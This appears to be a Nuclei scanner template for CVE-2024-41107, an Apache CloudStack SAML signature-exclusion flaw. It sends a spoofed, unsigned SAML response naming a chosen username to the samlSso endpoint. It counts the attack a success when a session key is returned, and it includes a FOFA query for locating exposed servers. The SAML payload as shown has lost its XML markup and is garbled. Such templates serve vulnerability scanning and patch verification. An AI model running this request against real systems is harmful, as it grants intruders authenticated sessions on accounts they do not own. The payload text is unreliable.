id: CVE-2024-41107 info: name: Apache CloudStack - SAML Signature Exclusion author: iamnoooob,rootxharsh,pdresearch severity: critical description: | The CloudStack SAML authentication (disabled by default) does not enforce signature check. In CloudStack environments where SAML authentication is enabled, an attacker that initiates CloudStack SAML single sign-on authentication can bypass SAML authentication by submitting a spoofed SAML response with no signature and known or guessed username and other user details of a SAML-enabled CloudStack user-account reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-41107 - http://www.openwall.com/lists/oss-security/2024/07/19/1 - http://www.openwall.com/lists/oss-security/2024/07/19/2 - https://cloudstack.apache.org/blog/security-release-advisory-cve-2024-41107 - https://github.com/apache/cloudstack/issues/4519 classification: epss-score: 0.00046 epss-percentile: 0.16798 metadata: verified: true max-request: 1 fofa-query: app="APACHE-CloudStack" tags: cve,cve2024,apache,cloudstack,auth-bypass variables: username: "{{username}}" entityid: "{{entityid}}" saml_id: "{{saml_id}}" saml: ' {{entityid}} {{entityid}} org.apache.cloudstack urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport {{username}} ' http: - raw: - | POST /client/api?command=samlSso HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded RelayState=undefined&SAMLResponse={{urlencode(base64(saml))}} matchers-condition: and matchers: - type: dsl dsl: - "contains(header,'sessionkey')" - "contains(content_type,'text/xml')" - "status_code==302" condition: and # digest: 4a0a00473045022100bba4f9d8bd13d7f88a72d393233b2bf209b17e02fb2ecad69d9fba3e6177cb180220391703c38491fdb8803df18e2a2e06720d705bdaf7323909112ca37e6360ef73:922c64590222798bb761d5b6d8e72950